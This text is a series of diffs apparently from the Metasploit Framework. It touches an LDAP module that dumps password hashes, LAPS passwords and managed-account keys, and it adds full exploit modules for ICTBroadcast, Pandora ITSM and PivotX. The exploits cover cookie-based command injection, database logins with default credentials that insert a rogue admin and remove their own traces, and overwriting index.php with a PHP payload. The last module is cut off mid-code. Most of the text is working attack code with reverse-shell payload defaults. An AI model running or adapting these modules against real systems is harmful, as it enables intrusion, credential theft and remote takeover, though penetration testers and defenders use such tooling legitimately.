artifacts.jtr_format = 'lm'
artifacts.private_type = :nonreplayable_hash
when 'sambantpassword'
jtr_format = 'nt'
artifacts.jtr_format = 'nt,lm'
artifacts.private_type = :ntlm_hash
artifacts.private_data = "#{BLANK_LM.unpack('H*')}:#{private_data}"
when 'sambapasswordhistory'
# 795471346779677A336879366B654870 1F18DC5E346FDA5E335D9AE207C82CC9
# where the left part is a salt and the right part is MD5(Salt+NTHash)
# attribute value may contain multiple concatenated history entries
# for john sort of 'md5($s.md4(unicode($p)))' - not tested
jtr_format = 'sambapasswordhistory'
artifacts.jtr_format = 'sambapasswordhistory'
artifacts.private_type = :nonreplayable_hash
when 'krbprincipalkey'
jtr_format = 'krbprincipal'
artifacts.jtr_format = 'krbprincipal'
artifacts.private_type = :nonreplayable_hash
# TODO: krbprincipalkey is asn.1 encoded string. In case of vmware vcenter 6.7
# it contains user password encrypted with (23) rc4-hmac and (18) aes256-cts-hmac-sha1-96:
# https://github.com/vmware/lightwave/blob/d50d41edd1d9cb59e7b7cc1ad284b9e46bfa703d/vmdir/server/common/krbsrvutil.c#L480-L558
# Salted with principal name:
# https://github.com/vmware/lightwave/blob/c4ad5a67eedfefe683357bc53e08836170528383/vmdir/thirdparty/heimdal/krb5-crypto/salt.c#L133-L175
# In the meantime, dump the base64 encoded value.
private_data = Base64.strict_encode64(private_data)
artifacts.private_data = Base64.strict_encode64(private_data)
when 'ms-mcs-admpwd'
# LAPSv1 doesn't store the name of the local administrator anywhere in LDAP. It's technically configurable via Group Policy, but we'll assume it's 'Administrator'.
username = 'Administrator'
annotation = "(expires: #{convert_nt_timestamp_to_time_string(entry['ms-mcs-admpwdexpirationtime'].first.to_i)})" if entry['ms-mcs-admpwdexpirationtime'].present?
artifacts.public_data = 'Administrator'
artifacts.annotation = "(expires: #{convert_nt_timestamp_to_time_string(entry['ms-mcs-admpwdexpirationtime'].first.to_i)})" if entry['ms-mcs-admpwdexpirationtime'].present?
when 'msds-managedpassword'
managed_password = MsdsManagedpasswordBlob.read(private_data)
current_password = managed_password.buffer_fields[:current_password] # this field should always be present
if current_password && (domain_dns_name = @ad_ds_domain_info&.fetch(:dns_name))
artifacts = []
sam_account_name = entry[:sAMAccountName].first.to_s
salt = "#{domain_dns_name.upcase}host#{sam_account_name.delete_suffix('$').downcase}.#{domain_dns_name.downcase}"
encoded_current_password = current_password.force_encoding('UTF-16LE').encode('UTF-8', invalid: :replace, undef: :replace).force_encoding('ASCII-8BIT')
artifacts << SecretArtifact.new(
public_data: username,
private_data: "#{EMPTY_LM.unpack1('H*')}:#{OpenSSL::Digest::MD4.digest(current_password).unpack1('H*')}",
private_type: :ntlm_hash,
jtr_format: 'nt,lm'
)
artifacts << SecretArtifact.new(
public_data: username,
private_data: Metasploit::Credential::KrbEncKey.build_data(
enctype: Rex::Proto::Kerberos::Crypto::Encryption::AES256,
key: aes256_cts_hmac_sha1_96(encoded_current_password, salt),
salt: salt
),
private_type: :krb_enc_key
)
artifacts << SecretArtifact.new(
public_data: username,
private_data: Metasploit::Credential::KrbEncKey.build_data(
enctype: Rex::Proto::Kerberos::Crypto::Encryption::AES128,
key: aes128_cts_hmac_sha1_96(encoded_current_password, salt),
salt: salt
),
private_type: :krb_enc_key
)
end
when 'mslaps-password'
begin
lapsv2 = JSON.parse(private_data)
@@ -309,34 +312,35 @@ class MetasploitModule < Msf::Auxiliary
next
end
username = lapsv2['n']
private_data = lapsv2['p']
annotation = "(expires: #{convert_nt_timestamp_to_time_string(entry['mslaps-passwordexpirationtime'].first.to_i)})" if entry['mslaps-passwordexpirationtime'].present?
artifacts.public_data = lapsv2['n']
artifacts.private_data = lapsv2['p']
artifacts.annotation = "(expires: #{convert_nt_timestamp_to_time_string(entry['mslaps-passwordexpirationtime'].first.to_i)})" if entry['mslaps-passwordexpirationtime'].present?
when 'mslaps-encryptedpassword'
lapsv2 = process_result_lapsv2_encrypted(entry)
next if lapsv2.nil?
username = lapsv2['n']
private_data = lapsv2['p']
annotation = "(expires: #{convert_nt_timestamp_to_time_string(entry['mslaps-passwordexpirationtime'].first.to_i)})" if entry['mslaps-passwordexpirationtime'].present?
artifacts.username = lapsv2['n']
artifacts.private_data = lapsv2['p']
artifacts.annotation = "(expires: #{convert_nt_timestamp_to_time_string(entry['mslaps-passwordexpirationtime'].first.to_i)})" if entry['mslaps-passwordexpirationtime'].present?
when 'userpkcs12'
# if we get non printable chars, encode into base64
# if we get non-printable chars, encode into base64
if (private_data =~ /[^[:print:]]/).nil?
jtr_format = 'pkcs12'
artifacts.jtr_format = 'pkcs12'
else
jtr_format = 'pkcs12-base64'
private_data = Base64.strict_encode64(private_data)
artifacts.jtr_format = 'pkcs12-base64'
artifacts.private_data = Base64.strict_encode64(private_data)
end
artifacts.private_type = :nonreplayable_hash
else
if private_data.start_with?(/{crypt}.?\$1\$/i)
private_data.gsub!(/{crypt}.{,2}\$1\$/i, '$1$')
jtr_format = 'md5crypt'
artifacts.private_data.gsub!(/{crypt}.{,2}\$1\$/i, '$1$')
artifacts.jtr_format = 'md5crypt'
elsif private_data.start_with?(/{crypt}/i) && private_data.length == 20
# handle {crypt}traditional_crypt case, i.e. explicitly set the hash format
private_data.slice!(/{crypt}/i)
artifacts.private_data.slice!(/{crypt}/i)
# FIXME: what is the right jtr_hash - des,crypt or descrypt ?
# identify_hash returns des,crypt, while JtR acceppts descrypt
jtr_format = 'descrypt'
artifacts.jtr_format = 'descrypt'
# TODO: not sure if we shall slice the prefixes here or in the JtR/Hashcat formatter
# elsif hash.start_with?(/{sha256}/i)
# hash.slice!(/{sha256}/i)
@@ -345,27 +349,51 @@ class MetasploitModule < Msf::Auxiliary
# handle vcenter vmdir binary hash format
if private_data[0].ord == 1 && private_data.length == 81
_type, private_data, salt = private_data.unpack('CH128H32')
private_data = "$dynamic_82$#{private_data}$HEX$#{salt}"
artifacts.private_data = "$dynamic_82$#{private_data}$HEX$#{salt}"
else
# Remove LDAP's {crypt} prefix from known hash types
private_data.gsub!(/{crypt}.{,2}(\$[0256][aby]?\$)/i, '\1')
artifacts.private_data.gsub!(/{crypt}.{,2}(\$[0256][aby]?\$)/i, '\1')
end
jtr_format = Metasploit::Framework::Hashes.identify_hash(private_data)
artifacts.jtr_format = Metasploit::Framework::Hashes.identify_hash(artifacts.private_data)
end
artifacts.private_type = :nonreplayable_hash
end
# highlight unresolved hashes
jtr_format = '{crypt}' if private_data =~ /{crypt}/i
print_good("Credentials (#{jtr_format.blank? ? 'password' : jtr_format}) found in #{attr}: #{username}:#{private_data} #{annotation}")
Array.wrap(artifacts).each do |artifact|
# highlight unresolved hashes
artifact.jtr_format = '{crypt}' if artifact.private_data =~ /{crypt}/i
report_creds(username, private_data, jtr_format)
case artifact.private_type
when :krb_enc_key
_, enctype, key, salt = artifact.private_data.split(':')
formatted = "#{artifact.public_data}:#{Rex::Proto::Kerberos::Crypto::Encryption::IANA_NAMES[enctype.to_i]}:#{key}"
when :password
formatted = "#{artifact.public_data}:#{artifact.private_data}"
else
formatted = Metasploit::Framework::PasswordCracker::JtR::Formatter.params_to_jtr(
artifact.public_data,
artifact.private_data,
artifact.private_type,
format: artifact.jtr_format
)
if formatted.nil?
formatted = "#{artifact.public_data}:#{artifact.private_data}"
end
end
print_good("Credential found in #{attr}: #{formatted} #{artifact.annotation}")
report_creds(artifact.public_data, artifact.private_data, artifact.private_type, artifact.jtr_format)
end
# only increment once because the iteration is per-attribute so report one credential found even if it's reported
# in multiple formats
creds_found += 1
end
creds_found
end
def report_creds(username, private_data, jtr_format)
def report_creds(username, private_data, private_type, jtr_format)
# this is the service the credentials came from, not necessarily where they can be used
service_data = {
address: rhost,
@@ -380,7 +408,7 @@ class MetasploitModule < Msf::Auxiliary
origin_type: :service,
status: Metasploit::Model::Login::Status::UNTRIED,
private_data: private_data,
private_type: (jtr_format.nil? ? :password : :nonreplayable_hash),
private_type: private_type,
jtr_format: jtr_format,
username: username
}.merge(service_data)
@@ -390,8 +418,7 @@ class MetasploitModule < Msf::Auxiliary
credential_data[:realm_value] = @ad_ds_domain_info[:dns_name]
end
cl = create_credential_and_login(credential_data)
cl.respond_to?(:core_id) ? cl.core_id : nil
create_credential_and_login(credential_data)
end
def process_result_lapsv2_encrypted(result)
@@ -465,6 +492,8 @@ class MetasploitModule < Msf::Auxiliary
JSON.parse(RubySMB::Field::Stringz16.read(plaintext).value)
end
SecretArtifact = Struct.new(:public_data, :private_data, :private_type, :jtr_format, :annotation)
# https://blog.xpnsec.com/lapsv2-internals/#:~:text=msLAPS%2DEncryptedPassword%20attribute
# https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-ada2/b6ea7b78-64da-48d3-87cb-2cff378e4597
class LAPSv2EncryptedPasswordBlob < BinData::Record
@@ -495,4 +524,47 @@ class MetasploitModule < Msf::Auxiliary
model(:key_attr, Sequence)
]
end
# this is a partial implementation, processing the buffer and the fields is simplified to only support reading
# see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e
class MsdsManagedpasswordBlob < BinData::Record
endian :little
hide :reserved
uint16 :version
uint16 :reserved
uint32 :blob_length
uint16 :current_password_offset
uint16 :previous_password_offset
uint16 :query_password_interval_offset
uint16 :unchanged_password_interval_offset
count_bytes_remaining :bytes_remaining
string :buffer, read_length: -> { bytes_remaining }
def buffer_fields
boffset = offset_of(buffer)
bfield_offsets = {
current_password: current_password_offset,
previous_password: previous_password_offset,
query_password_interval: query_password_interval_offset,
unchanged_password_interval: unchanged_password_interval_offset
}.sort_by { |_field, offset| offset }
bfields = {}
bfield_offsets.each_cons(2) do |(field, offset), (_, next_offset)|
next if offset == 0
bfields[field] = buffer[(offset - boffset)..(next_offset - boffset)]
end
last_field, last_offset = bfield_offsets.last
bfields[last_field] = buffer[(last_offset - boffset)..] if last_offset != 0
bfields[:current_password] = bfields[:current_password].split("\x00\x00".b).first if bfields[:current_password]
bfields[:previous_password] = bfields[:previous_password].split("\x00\x00".b).first if bfields[:previous_password]
bfields[:query_password_interval] = bfields[:query_password_interval].unpack1('Q<') if bfields[:query_password_interval]
bfields[:unchanged_password_interval] = bfields[:unchanged_password_interval].unpack1('Q<') if bfields[:unchanged_password_interval]
bfields
end
end
end
@@ -62,7 +62,7 @@ class MetasploitModule < Msf::Auxiliary
'uri' => normalize_uri(target_uri.path, uri)
})
next unless res&.code == 200
next unless res&.code && res.code <= 500
page = res.get_html_document
@@ -110,7 +110,7 @@ class MetasploitModule < Msf::Auxiliary
fail_with(Failure::NotFound, "Could not find a valid directory id within the range #{min_range} to #{max_range}")
end
def run_host(_ip)
def run
# next line included for automatic inclusion into vulnerable plugins list
# check_plugin_version_from_readme('ultimate-member', '2.8.3')
print_status("Performing SQL injection for CVE-2024-1071 via the 'sorting' parameter...")
+8 -3
View File
@@ -71,7 +71,7 @@ class MetasploitModule < Msf::Auxiliary
def run
validate_connect_options!
results = super
results = super || {}
logins = results.flat_map { |_k, v| v[:successful_logins] }
sessions = results.flat_map { |_k, v| v[:successful_sessions] }
print_status("Bruteforce completed, #{logins.size} #{logins.size == 1 ? 'credential was' : 'credentials were'} successful.")
@@ -111,6 +111,7 @@ class MetasploitModule < Msf::Auxiliary
ignore_private: ignore_private
)
pkcs12_storage = Msf::Exploit::Remote::Pkcs12::Storage.new(framework: framework, framework_module: self)
opts = {
domain: datastore['LDAPDomain'],
append_domain: datastore['APPEND_DOMAIN'],
@@ -118,7 +119,7 @@ class MetasploitModule < Msf::Auxiliary
proxies: datastore['PROXIES'],
domain_controller_rhost: datastore['DomainControllerRhost'],
ldap_auth: datastore['LDAP::Auth'],
ldap_cert_file: datastore['LDAP::CertFile'],
ldap_pkcs12: datastore['LDAP::CertFile'] ? pkcs12_storage.read_pkcs12_cert_path(datastore['LDAP::CertFile']) : nil,
ldap_rhostname: datastore['Ldap::Rhostname'],
ldap_krb_offered_enc_types: datastore['Ldap::KrbOfferedEncryptionTypes'],
ldap_krb5_cname: datastore['Ldap::Krb5Ccname']
@@ -167,7 +168,11 @@ class MetasploitModule < Msf::Auxiliary
successful_logins << result
if opts[:ldap_auth] == Msf::Exploit::Remote::AuthOption::SCHANNEL
# Schannel auth has no meaningful credential information to store in the DB
msg = opts[:ldap_cert_file].nil? ? 'Using stored certificate' : "Cert File #{opts[:ldap_cert_file]}"
msg = opts[:ldap_pkcs12].nil? ? 'Using stored certificate' : "Cert File #{opts[:ldap_pkcs12][:path]} (#{opts[:ldap_pkcs12][:value].certificate.subject})"
report_successful_login(
public: opts[:ldap_pkcs12][:value].certificate.subject.to_s,
private: opts[:ldap_pkcs12][:path]
)
print_brute level: :good, ip: ip, msg: "Success: '#{msg}'"
else
create_credential_and_login(credential_data) if result.credential.private
@@ -43,7 +43,10 @@ class MetasploitModule < Msf::Auxiliary
vprint_status("Contacting redis")
begin
connect
return unless (data = redis_command(command))
# Split the input command into parts using space as the delimiter
command_parts=command.split(' ')
# Execute the Redis command using the split parts
return unless (data = redis_command(*command_parts))
report_service(host: rhost, port: rport, name: "redis server", info: "#{command} response: #{data}")
print_good("Found redis with #{command} command: #{Rex::Text.to_hex_ascii(data)}")
@@ -0,0 +1,123 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'ICTBroadcast Unauthenticated Remote Code Execution',
'Description' => %q{
This module exploits an unauthenticated remote code execution (RCE) vulnerability
in ICTBroadcast. The vulnerability exists in the way session cookies are handled
and processed, allowing an attacker to inject arbitrary system commands.
},
'Author' => [
'Valentin Lobstein' # Metasploit module author and vulnerability discovery
],
'License' => MSF_LICENSE,
'References' => [
['URL', 'https://www.ictbroadcast.com/'],
['CVE', '2025-2611']
],
'Platform' => %w[unix linux],
'Arch' => [ARCH_CMD],
'Targets' => [
[
'Unix/Linux Command Shell',
{
'Platform' => %w[unix linux],
'Arch' => ARCH_CMD
}
]
],
'DefaultTarget' => 0,
'Privileged' => false,
'DisclosureDate' => '2025-03-19',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
end
def get_valid_cookies
@get_valid_cookies ||= begin
print_status('Retrieving session cookies dynamically')
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'login.php')
)
fail_with(Failure::UnexpectedReply, 'No response from server') unless res
if (cookies = res.get_cookies)
cookie_jar.clear
cookie_jar.parse_and_merge(
cookies,
"#{datastore['SSL'] ? 'https' : 'http'}://#{rhost}:#{rport}"
)
print_status("Found cookies: #{cookie_jar.cookies.map(&:to_s).join('; ')}")
end
cookie_jar
end
end
def inject_command(command)
jar = get_valid_cookies
return if jar.empty?
jar.cookies.each do |c|
original = c.value
c.value = "`echo${IFS}#{Rex::Text.encode_base64(command)}|base64${IFS}-d|sh`"
send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'login.php'),
'cookie_jar' => jar
)
c.value = original
end
end
def check
print_status('Checking ICTBroadcast via JS fingerprints')
fingerprint_found = %w[
IVRDesigner.js agent.js campaign.js campaign_feedback.js
campaign_integration.js phone.js supervisor.js trunk.js
].any? do |file|
uri = normalize_uri(target_uri.path, 'js', file)
res = send_request_cgi!('method' => 'GET', 'uri' => uri)
res&.code == 200 && res.body.include?('ICT Innovations')
end
return CheckCode::Safe unless fingerprint_found
print_good('JS fingerprint found; performing timing tests')
[3, 4, 5].sample(2).each do |t|
start = Time.now
inject_command("sleep #{t}")
if Time.now - start >= (t - 0.3)
return CheckCode::Vulnerable("Injected RCE (slept #{t}s)")
end
end
CheckCode::Appears('Fingerprint present but timing did not match')
end
def exploit
inject_command(payload.encoded)
end
end
@@ -36,7 +36,7 @@ class MetasploitModule < Msf::Exploit::Remote
}
]
],
'DisclosureDate' => '2025-12-30',
'DisclosureDate' => '2025-06-27',
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 80,
@@ -0,0 +1,324 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'rex/proto/mysql/client'
require 'digest/md5'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include BCrypt
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
# @!attribute [rw] mysql_client
# @return [::Rex::Proto::MySQL::Client]
attr_accessor :mysql_client
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Pandora ITSM authenticated command injection leading to RCE via the backup function',
'Description' => %q{
Pandora ITSM is a platform for Service Management & Support including a Helpdesk for support
and customer service teams, aligned with ITIL processes.
This module exploits a command injection vulnerability in the `name` backup setting at the
application setup page of Pandora ITSM. This can be triggered by generating a backup with a
malicious payload injected at the `name` parameter.
You need to have admin access at the Pandora ITSM Web application in order to execute this RCE.
This access can be achieved by knowing the admin credentials to access the web application or
leveraging a default password vulnerability in Pandora ITSM that allows an attacker to access
the Pandora FMS ITSM database, create a new admin user and gain administrative access to the
Pandora ITSM Web application. This attack can be remotely executed over the WAN as long as the
MySQL services are exposed to the outside world.
This issue affects all ITSM Enterprise editions up to `5.0.105` and is patched at `5.0.106`.
},
'Author' => [
'h00die-gr3y <h00die.gr3y[at]gmail.com>' # Discovery, Metasploit module & default password weakness
],
'References' => [
['CVE', '2025-4653'],
['URL', 'https://pandorafms.com/en/security/common-vulnerabilities-and-exposures/'],
['URL', 'https://github.com/h00die-gr3y/h00die-gr3y/security/advisories/GHSA-m4f8-9c8x-8f3f'],
['URL', 'https://attackerkb.com/topics/wgCb1QQm1t/cve-2025-4653']
],
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux'],
'Privileged' => false,
'Arch' => [ARCH_CMD],
'Targets' => [
[
'Unix/Linux Command',
{
'Platform' => ['unix', 'linux'],
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp'
},
'Payload' => {
'Encoder' => 'cmd/base64',
'BadChars' => "\x20\x3E\x26\x27\x22" # no space > & ' "
}
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2025-06-10',
'DefaultOptions' => {
'SSL' => true,
'RPORT' => 443
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
'Reliability' => [REPEATABLE_SESSION]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Path to the Pandora ITSM application', '/pandoraitsm']),
OptString.new('DB_USER', [true, 'Pandora database admin user', 'pandoraitsm']),
OptString.new('DB_PASSWORD', [true, 'Pandora database admin password', 'P4ndor4.itsm']),
OptString.new('DB_NAME', [true, 'Pandora database', 'pandoraitsm']),
OptPort.new('DB_PORT', [true, 'MySQL database port', 3306]),
OptString.new('USERNAME', [false, 'Pandora web admin user', 'admin']),
OptString.new('PASSWORD', [false, 'Pandora web admin password', 'integria'])
])
end
# MySQL login
# @param [String] host
# @param [String] user
# @param [String] password
# @param [String] db
# @param [String] port
# @return [TrueClass|FalseClass] true if login successful, else false
def mysql_login(host, user, password, db, port)
begin
self.mysql_client = ::Rex::Proto::MySQL::Client.connect(host, user, password, db, port)
rescue Errno::ECONNREFUSED
print_error('MySQL connection refused')
return false
rescue ::Rex::Proto::MySQL::Client::ClientError
print_error('MySQL connection timedout')
return false
rescue Errno::ETIMEDOUT
print_error('Operation timedout')
return false
rescue ::Rex::Proto::MySQL::Client::HostNotPrivileged
print_error('Unable to login from this host due to policy')
return false
rescue ::Rex::Proto::MySQL::Client::AccessDeniedError
print_error('MySQL Access denied')
return false
rescue StandardError => e
print_error("Unknown error: #{e.message}")
return false
end
true
end
# MySQL query
# @param [String] sql
# @return [query|nil|FalseClass] if sql query successful (can be nil), else false
def mysql_query(sql)
begin
res = mysql_client.query(sql)
rescue ::Rex::Proto::MySQL::Client::Error => e
print_error("MySQL Error: #{e.class} #{e}")
return false
rescue Rex::ConnectionTimeout => e
print_error("Timeout: #{e.message}")
return false
rescue StandardError => e
print_error("Unknown error: #{e.message}")
return false
end
res
end
# login at the Pandora ITSM web application
# @param [String] name
# @param [String] pwd
# @return [TrueClass|FalseClass] true if login successful, else false
def pandoraitsm_login(name, pwd)
res = send_request_cgi!({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'keep_cookies' => true,
'vars_post' => {
'login' => 1,
'nick' => name,
'pass' => pwd,
'Login' => 'LOG IN'
}
})
return false unless res&.code == 200
res.body.include?('godmode')
end
# CVE-2025-4653: Command Injection leading to RCE via the backup "name" parameter triggered by the backup function
def execute_payload(cmd)
@rce_payload = ";#{cmd};#"
vprint_status("RCE payload: #{@rce_payload}")
@clean_payload = true
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'keep_cookies' => true,
'vars_get' => {
'sec' => 'godmode',
'sec2' => 'enterprise/godmode/setup/backup_manager'
},
'vars_post' => {
'name' => @rce_payload.to_s,
'mode' => 1,
'mail' => nil,
'create_backup' => 1,
'create' => 'Do a backup now'
}
})
end
# clean-up the payload entries in the backup list by removing the backup name from the list
# it also handles multiple entries (leftovers from previous attacks)
def clean_rce_payload(payload)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'keep_cookies' => true,
'vars_get' => {
'sec' => 'godmode',
'sec2' => 'enterprise/godmode/setup/integria_backup'
}
})
unless res&.code == 200 && res.body.include?(payload.slice(0..4)) # just take the first 5 chars (;echo) as match
vprint_status('No payload entries found at the backup list.')
return
end
html = res.get_html_document
target_rows = html.css('table.dataTable tbody tr').select do |row|
name_backup = row.at_css('td')
name_backup && name_backup.text.strip.include?(payload.slice(0..4))
end
# Get the backup entry based on the href from <a> tags with an onclick attribute
if target_rows.any?
backup_entry = target_rows.flat_map do |row|
row.css('a[onclick]').map { |a| a['href'] }
end
else
vprint_status('No payload entries found at the backup list.')
return
end
vprint_status(backup_entry.to_s)
success = true
backup_entry.each do |entry|
id_bk_param = entry.match(/id_bk=\d*/)
next unless id_bk_param
id_bk = id_bk_param[0].split('=')
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'keep_cookies' => true,
'vars_get' => {
'sec' => 'godmode',
'sec2' => 'enterprise/godmode/setup/integria_backup',
'offset' => 0,
'remove' => 1,
id_bk[0].to_s => id_bk[1].to_s
}
})
success = false unless res&.code == 200 && !res.body.include?(id_bk_param.to_s)
end
if success
print_good('Payload entries successfully removed from backup list.')
else
print_warning('Payload entries might not be removed from backup list. Check and try to clean it manually.')
end
end
# try to remove the payload from the backup list to cover our tracks
def cleanup
super
# Disconnect from MySQL server
mysql_client.close if mysql_client
# check if payload should be cleaned
clean_rce_payload(@rce_payload) if @clean_payload
end
def check
# use API v1.0 to check version
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'include', 'api.php'),
'vars_get' => {
'info' => 'version'
}
})
return CheckCode::Unknown('Received unknown response.') unless res&.code == 200
return CheckCode::Safe('Target is not a Pandora ITSM application.') unless res.body.include?('Pandora ITSM')
version = res.body.match(/\d{1,3}\.\d{1,3}\.\d{1,3}/)
unless version.nil?
version = Rex::Version.new(version)
if version < Rex::Version.new('5.0.106')
return CheckCode::Appears(res.body.strip.to_s)
else
return CheckCode::Safe(res.body.strip.to_s)
end
end
CheckCode::Detected('Could not determine the Pandora ITSM version.')
end
def exploit
# check if we can login at the Pandora Web application with the default admin credentials
username = datastore['USERNAME']
password = datastore['PASSWORD']
print_status("Trying to log in with admin credentials #{username}:#{password} at the Pandora ITSM Web application.")
unless pandoraitsm_login(username, password)
# connect to the PostgreSQL DB with default credentials
print_status('Logging in with admin credentials failed. Trying to connect to the Pandora MySQL server.')
mysql_login_res = mysql_login(datastore['RHOSTS'], datastore['DB_USER'], datastore['DB_PASSWORD'], datastore['DB_NAME'], datastore['DB_PORT'])
fail_with(Failure::Unreachable, "Unable to connect to the MySQL server on port #{datastore['DB_PORT']}.") unless mysql_login_res
# add a new admin user
username = Rex::Text.rand_text_alphanumeric(5..8).downcase
password = Rex::Text.rand_password
# check the password hash algorithm by reading the password hash of the admin user
# new pandora versions hashes the password in bcrypt $2*$, Blowfish (Unix) format else it is a plain MD5 hash
mysql_query_res = mysql_query("SELECT password FROM tusuario WHERE id_usuario = 'admin';")
fail_with(Failure::BadConfig, 'Cannot find admin credentials to determine password hash algorithm.') if mysql_query_res == false || mysql_query_res.size != 1
hash = mysql_query_res.fetch_hash
if hash['password'].match(/^\$2.\$/)
password_hash = Password.create(password)
else
password_hash = Digest::MD5.hexdigest(password)
end
print_status("Creating new admin user with credentials #{username}:#{password} for access at the Pandora ITSM Web application.")
mysql_query_res = mysql_query("INSERT INTO tusuario (id_usuario, password, nivel) VALUES (\'#{username}\', \'#{password_hash}\', '1');")
fail_with(Failure::BadConfig, "Adding new admin credentials #{username}:#{password} to the database failed.") if mysql_query_res == false
# log in with the new admin user credentials at the Pandora ITSM Web application
print_status("Trying to log in with new admin credentials #{username}:#{password} at the Pandora ITSM Web application.")
fail_with(Failure::NoAccess, 'Failed to authenticate at the Pandora ITSM Web application.') unless pandoraitsm_login(username, password)
end
print_status('Successfully authenticated at the Pandora ITSM Web application.')
# storing credentials at the msf database
print_status('Saving admin credentials to the msf database.')
store_valid_credential(user: username, private: password)
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
execute_payload(payload.encoded)
end
end
@@ -0,0 +1,162 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html
include Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'PivotX Remote Code Execution',
'Description' => %q{
This module gains remote code execution in PivotX management system. The PivotX allows admin user to directly edit files on the webserver, including PHP files. The module exploits this by writing a malicious payload into `index.php` file, gaining remote code execution.
},
'License' => MSF_LICENSE,
'Author' => [
'HayToN', # security research
'msutovsky-r7' # module dev
],
'References' => [
[ 'EDB', '52361' ],
[ 'URL', 'https://medium.com/@hayton1088/cve-2025-52367-stored-xss-to-rce-via-privilege-escalation-in-pivotx-cms-v3-0-0-rc-3-a1b870bcb7b3'],
[ 'CVE', '2025-52367']
],
'Targets' => [
[
'Linux',
{
'Platform' => 'php',
'Arch' => ARCH_PHP
}
]
],
'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' },
'DisclosureDate' => '2025-07-10',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)
register_options([
OptString.new('USERNAME', [ true, 'PivotX username', '' ]),
OptString.new('PASSWORD', [true, 'PivotX password', '']),
OptString.new('TARGETURI', [true, 'The base path to PivotX', '/PivotX/'])
])
end
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'pivotx', 'index.php')
})
return Msf::Exploit::CheckCode::Unknown('Unexpected response') unless res&.code == 200
return Msf::Exploit::CheckCode::Safe('Target is not PivotX') unless res.body.include?('PivotX Powered')
html_body = res.get_html_document
return Msf::Exploit::CheckCode::Detected('Could not find version element') unless html_body.search('em').find { |i| i.text =~ /PivotX - (\d.\d\d?.\d\d?-[a-z0-9]+)/ }
version = Rex::Version.new(Regexp.last_match(1))
return Msf::Exploit::CheckCode::Appears("Detected PivotX #{version}") if version <= Rex::Version.new('3.0.0-rc3')
return Msf::Exploit::CheckCode::Safe("PivotX #{version} is not vulnerable")
end
def login
data_post = Rex::MIME::Message.new
data_post.add_part('', nil, nil, %(form-data; name="returnto"))
data_post.add_part('', nil, nil, %(form-data; name="template"))
data_post.add_part(datastore['USERNAME'], nil, nil, %(form-data; name="username"))
data_post.add_part(datastore['PASSWORD'], nil, nil, %(form-data; name="password"))
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'pivotx', 'index.php'),
'vars_get' => { 'page' => 'login' },
'ctype' => "multipart/form-data; boundary=#{data_post.bound}",
'data' => data_post.to_s,
'keep_cookies' => true
})
fail_with(Failure::NoAccess, 'Login failed, incorrect username/password') if res&.get_html_document&.at("//script[contains(., 'Incorrect username/password')]")
fail_with(Failure::Unknown, 'Login failed, unable to pivotxsession cookie') unless (res&.code == 200 || res&.code == 302) && res.get_cookies =~ /pivotxsession=([a-zA-Z0-9]+);/
@csrf_token = Regexp.last_match(1)
end
def modify_file
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'pivotx', 'index.php'),
'vars_get' => { 'page' => 'homeexplore' }
})
fail_with(Failure::UnexpectedReply, 'Received unexpected response when fetching working directory') unless res&.code == 200 && res.body =~ /basedir=([a-zA-Z0-9]+)/
@base_dir = Regexp.last_match(1)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'pivotx', 'ajaxhelper.php'),
'vars_get' => { 'function' => 'view', 'basedir' => @base_dir, 'file' => 'index.php' }
})
fail_with(Failure::UnexpectedReply, 'Received unexpected response when fetching index.php') unless res&.code == 200
@original_value = res.get_html_document.at('textarea')&.text
fail_with(Failure::Unknown, 'Could not find content of index.php') unless @original_value
res = send_request_cgi({
'method' => 'POST',
